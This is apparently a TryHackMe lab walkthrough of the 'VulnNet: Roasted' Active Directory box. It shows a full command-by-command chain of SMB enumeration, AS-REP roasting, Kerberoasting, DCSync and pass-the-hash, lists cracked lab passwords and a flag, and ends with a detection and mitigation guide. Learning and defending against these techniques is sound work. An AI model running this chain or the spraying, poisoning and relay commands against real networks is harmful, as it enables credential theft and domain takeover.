

VulnNet: Roasted - Penetration Test Report

TryHackMe Walkthrough & Detection Analysis

June 2026

VulnNet: Roasted - Full Write-Up

Target: VulnNet Entertainment internal Active Directory environment

Domain: vulnnet-rst.local **Difficulty:** Easy **Objective:** Obtain user and system flags via enumeration, AS-REP Roasting, and Kerberoasting

Attack Chain Overview

```
Anonymous SMB enumeration → employee names
      ↓
RID brute force → real AD usernames
      ↓
AS-REP Roasting → t-skid hash → cracked password
      ↓
Kerberoasting password → enterprise-core-vn hash → cracked
      ↓
Evil-WinRM shell → user.txt
      ↓
NETLOGON script → a-whitehat plaintext password
      ↓
DCSync (secretsdump) → all domain NTLM hashes
      ↓
Pass-the-Hash → Administrator → system.txt
```

1. Reconnaissance

```
nmap -sV -sC -T4 <TARGET_IP>
```

Identified open ports consistent with a Windows Domain Controller: Kerberos (88), LDAP (389/3268), SMB (445), and kpasswd (464). The LDAP banner revealed the domain name vulnnet-rst.local.

2. SMB Anonymous Enumeration

```
smbclient -L \\\\<TARGET_IP>\\ -N
```

Two non-default shares were discoverable with a null session:

- VulnNet-Business-Anonymous
- VulnNet-Enterprise-Anonymous

```
smbclient \\\\<TARGET_IP>\\VulnNet-Business-Anonymous -N -c "recurse
ON; prompt OFF; mget *"
```

Downloaded files revealed staff full names: **Alexa Whitehat, Jack Goldenhand, Tony Skid, Johnny Leet.**

3. Username Enumeration (RID Brute Force)

RPC null sessions were denied, so usernames were instead enumerated via SID/RID brute forcing, which the domain controller answered anonymously.

```
python3 lookupsid.py 'vulnnet-rst.local/'@<TARGET_IP> -no-pass
```

This revealed the real AD account naming convention (first-initial-lastname) and a hidden service account:

```
a-whitehat
t-skid
j-goldenhand
j-leet
enterprise-core-vn
```

4. AS-REP Roasting

```
python3 GetNPUsers.py vulnnet-rst.local/ -usersfile users.txt -dc-ip
<TARGET_IP> -no-pass -format hashcat
```

The account t-skid had “**Do not require Kerberos preauthentication**” enabled, allowing an AS-REP hash to be retrieved without any credentials.

```
hashcat -m 18200 hash.txt rockyou.txt --force
```

Result: t-skid : tj072889*

5. Kerberoasting

With one valid domain account, a Kerberos service ticket was requested for any account holding a Service Principal Name (SPN):

```
python3 GetUserSPNs.py vulnnet-rst.local/t-skid:'tj072889*' -dc-ip
<TARGET_IP> -request
```

The service account enterprise-core-vn (SPN: CIFS/vulnnet-rst.local) returned a crackable TGS ticket.

```
hashcat -m 13100 tgs.txt rockyou.txt --force
```

Result: enterprise-core-vn : ry=ibfkfv,s6h,

This account was a member of **Remote Management Users**, enabling WinRM access.

6. Initial Shell & User Flag

```
evil-winrm -i <TARGET_IP> -u 'enterprise-core-vn' -p
'ry=ibfkfv,s6h,'
user.txt → THM{726b7c0baaac1455d05c827b5561f4ed}
```

7. Credential Discovery in NETLOGON

The NETLOGON share (used for AD login scripts) contained ResetPassword.vbs, with a hardcoded credential for resetting another account:

```
strUserNTName = "a-whitehat"  
strPassword = "bNdKVkjv3RR9ht"
```

a-whitehat turned out to hold **Domain Admin** privileges.

8. Domain Hash Dump (DCSync)

With Domain Admin rights, all domain password hashes were extracted via a DCSync-style replication request:

```
python3 secretsdump.py vulnnet-rst.local/a-  
whitehat:'bNdKVkjv3RR9ht'@<TARGET_IP>
```

This returned the NTLM hash for every domain account, including:

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c2597747aa5e43022a  
◀────────────────────────────────────────────────────────────────▶▶
```

9. Pass-the-Hash & System Flag

```
evil-winrm -i <TARGET_IP> -u Administrator -H  
'c2597747aa5e43022a3a3049a3c3b09d'
```

system.txt → captured ✓

Concept Deep-Dive

What is enterprise-core-vn?

It is a normal Active Directory **user account**, but one used to run a service (a file-sharing/CIFS service) rather than for an interactive human login - commonly called a **service account**. Service accounts are tagged with a Service Principal Name (SPN), which is what makes them targetable for Kerberoasting.

How Kerberoasting Works (Simplified)

1. An authenticated domain user (t-skid) requests a Kerberos service ticket for a service (identified by its SPN).
2. The Domain Controller issues the ticket - encrypted using the **service account's password hash**.
3. The ticket is taken offline and cracked with a wordlist.
4. If the service account's password is weak, the plaintext password is recovered.

This works because **any authenticated domain user can request a ticket for any SPN** - it's normal Kerberos behaviour, not a bug, but it becomes a vulnerability when service account passwords are weak.

Alternative Initial Access Methods

If no account had Kerberos preauthentication disabled (i.e., AS-REP Roasting failed entirely), the following techniques would be the next logical steps:

#	Technique	Tool / Command	Purpose
1	Password Spraying	crackmapexec smb <IP> -u users.txt -p 'Winter2024!' --continue-on-success	Try one common password across all accounts to avoid lockouts
2	LDAP Enumeration	ldapsearch -x -H ldap://<IP> -b "DC=vulnnet-rst,DC=local"	Anonymous LDAP binds can leak descriptions/credentials
3	IPv6 / mitm6	mitm6 -d vulnnet-rst.local	Exploit Windows' IPv6 preference to capture NTLMv2 hashes
4	LLMNR/NBT-NS Poisoning	responder -I eth0 -wrf	Capture NTLMv2 hashes from broadcast name resolution requests
5	Null Session LDAP	enum4linux-ng -A <IP>	Some DCs allow anonymous LDAP binds leaking user/group info
6	SMB Relay	ntlmrelayx.py -tf targets.txt -smb2support	Relay captured NTLM hashes if SMB signing is disabled
7	Known CVE Scan	nmap --script smb-vuln* <IP>	Check for EternalBlue, ZeroLogon, PrintNightmare, etc.

Decision flow:

Anonymous SMB/LDAP → credentials/usernames?

↓ No

Password Spraying → valid account?

↓ No

Responder/mitm6 → captured hash?

↓ No

Check for known CVEs → exploitable?

↓ No

Brute force (last resort)

The underlying principle: enumeration always opens another path - Kerberoasting only requires **one** valid domain account, however it's obtained.

Blue Team Detection Guide

A view of this same attack chain from the defender's (SOC) perspective - what each step would look like in logs, and how to detect or prevent it.

Attack	Key Windows Event ID(s)	What the Analyst Sees	Detection Difficulty
Nmap		Burst of allowed connections across many	

scanning	5156	ports from one source IP in seconds	Easy
Anonymous SMB access	5140, 4624	Share access with no associated username / null session logon	Easy
RID brute force	4661	High volume of object-handle/SID lookup requests via LSARPC in a short window	Medium
AS-REP Roasting	4768	TGT requests with the "pre-authentication not required" flag, several in quick succession	Medium
Kerberoasting	4769	TGS requests using RC4 encryption (0x17) - modern systems normally request AES; many SPNs requested in a short time by one account	Medium
Password spraying	4625, 4771	Failed logons across many distinct usernames from the same source, spaced out to dodge lockout policy	Medium
LLMNR/NBT-NS poisoning (Responder)	Network/IDS logs	Unexpected host answering broadcast name-resolution queries; NTLMv2 hashes sent to a non-legitimate host	Hard (passive attack)
Evil-WinRM access	4624 (Type 3), 4648, WinRM service logs	Successful network logon plus PowerShell Script Block Logging capturing every command executed	Medium
Secretsdump / DCSync	4662	A non-Domain-Controller account using DS-Replication-Get-Changes rights - DCs are the only accounts that	Easy, if monitored

Pass-the-Hash	4624 (Type 3, NTLM)	should ever do this Privileged account (e.g., Administrator) authenticating via NTLM from an unfamiliar workstation/IP with no prior interactive logon	Medium
---------------	---------------------	---	--------

Defensive Recommendations

Attack	Mitigation
AS-REP Roasting	Require Kerberos preauthentication on all accounts
Kerberoasting	Strong/random passwords on service accounts; use Group Managed Service Accounts (gMSA)
Password Spraying	Enforce MFA; tune account lockout thresholds
LLMNR/NBT-NS Poisoning	Disable LLMNR and NetBIOS via Group Policy
Anonymous SMB / RID enumeration	Disable null sessions; restrict anonymous SID/name translation (RestrictAnonymous)
Credentials in login scripts	Never hardcode passwords; use a secrets manager or gMSA
DCSync	Restrict replication permissions to actual DCs; alert on Event ID 4662 with replication GUIDs
Pass-the-Hash	Enable the Protected Users security group; disable NTLM where feasible; enforce LAPS for local admin passwords

Flags Captured

Flag	Value
user.txt	THM{726b7c0baaac1455d05c827b5561f4ed}
system.txt	Captured via Pass-the-Hash as Administrator

Report prepared as a TryHackMe lab walkthrough for educational purposes.